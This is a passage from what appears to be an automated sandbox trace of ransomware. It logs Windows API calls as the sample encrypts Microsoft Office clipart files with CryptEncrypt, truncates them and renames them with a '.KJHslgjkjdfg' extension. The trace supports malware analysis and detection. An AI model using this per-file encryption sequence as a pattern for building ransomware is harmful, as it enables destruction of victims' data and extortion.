nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.709] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.709] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.709] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.709] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe70, lpOverlapped=0x0) returned 1 [0195.709] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe70, dwBufLen=0xe70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe70) returned 1 [0195.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.709] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe70, lpOverlapped=0x0) returned 1 [0195.710] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.710] SetEndOfFile (hFile=0x130) returned 1 [0195.711] GetProcessHeap () returned 0x990000 [0195.712] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.712] GetProcessHeap () returned 0x990000 [0195.712] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.kjhslgjkjdfg")) returned 1 [0195.713] CloseHandle (hObject=0x130) returned 1 [0195.713] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1 [0195.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.714] GetProcessHeap () returned 0x990000 [0195.714] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.714] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.714] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.719] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.719] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.719] GetProcessHeap () returned 0x990000 [0195.719] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.719] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.719] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.719] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.719] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.719] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.720] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.720] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.720] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.720] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.720] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd28, lpOverlapped=0x0) returned 1 [0195.720] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd30, dwBufLen=0xd30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd30) returned 1 [0195.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.720] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd30, lpOverlapped=0x0) returned 1 [0195.720] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.720] SetEndOfFile (hFile=0x130) returned 1 [0195.721] GetProcessHeap () returned 0x990000 [0195.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.721] GetProcessHeap () returned 0x990000 [0195.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.kjhslgjkjdfg")) returned 1 [0195.723] CloseHandle (hObject=0x130) returned 1 [0195.723] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152590.WMF", cAlternateFileName="")) returned 1 [0195.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.724] GetProcessHeap () returned 0x990000 [0195.724] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.724] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.724] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.726] GetProcessHeap () returned 0x990000 [0195.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.726] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.726] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.726] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.726] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.727] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.727] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.727] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.727] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.727] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ab4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2ab4, lpOverlapped=0x0) returned 1 [0195.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ac0, dwBufLen=0x2ac0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ac0) returned 1 [0195.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.728] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2ac0, lpOverlapped=0x0) returned 1 [0195.729] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.729] SetEndOfFile (hFile=0x130) returned 1 [0195.731] GetProcessHeap () returned 0x990000 [0195.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.731] GetProcessHeap () returned 0x990000 [0195.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.kjhslgjkjdfg")) returned 1 [0195.733] CloseHandle (hObject=0x130) returned 1 [0195.733] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152594.WMF", cAlternateFileName="")) returned 1 [0195.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.733] GetProcessHeap () returned 0x990000 [0195.733] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.733] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.734] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.736] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.736] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.736] GetProcessHeap () returned 0x990000 [0195.736] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.736] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.736] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.736] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.736] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.736] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.736] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.736] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.736] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.737] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.737] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x18c4, lpOverlapped=0x0) returned 1 [0195.737] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18d0, dwBufLen=0x18d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18d0) returned 1 [0195.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.738] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x18d0, lpOverlapped=0x0) returned 1 [0195.738] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.738] SetEndOfFile (hFile=0x130) returned 1 [0195.740] GetProcessHeap () returned 0x990000 [0195.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.740] GetProcessHeap () returned 0x990000 [0195.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.kjhslgjkjdfg")) returned 1 [0195.741] CloseHandle (hObject=0x130) returned 1 [0195.741] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2628, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152600.WMF", cAlternateFileName="")) returned 1 [0195.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.742] GetProcessHeap () returned 0x990000 [0195.742] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.742] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.742] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.745] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.745] GetProcessHeap () returned 0x990000 [0195.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.745] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.745] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.745] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.745] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.745] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.745] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.746] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.746] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.746] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2628, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2628, lpOverlapped=0x0) returned 1 [0195.747] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2630, dwBufLen=0x2630 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2630) returned 1 [0195.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, 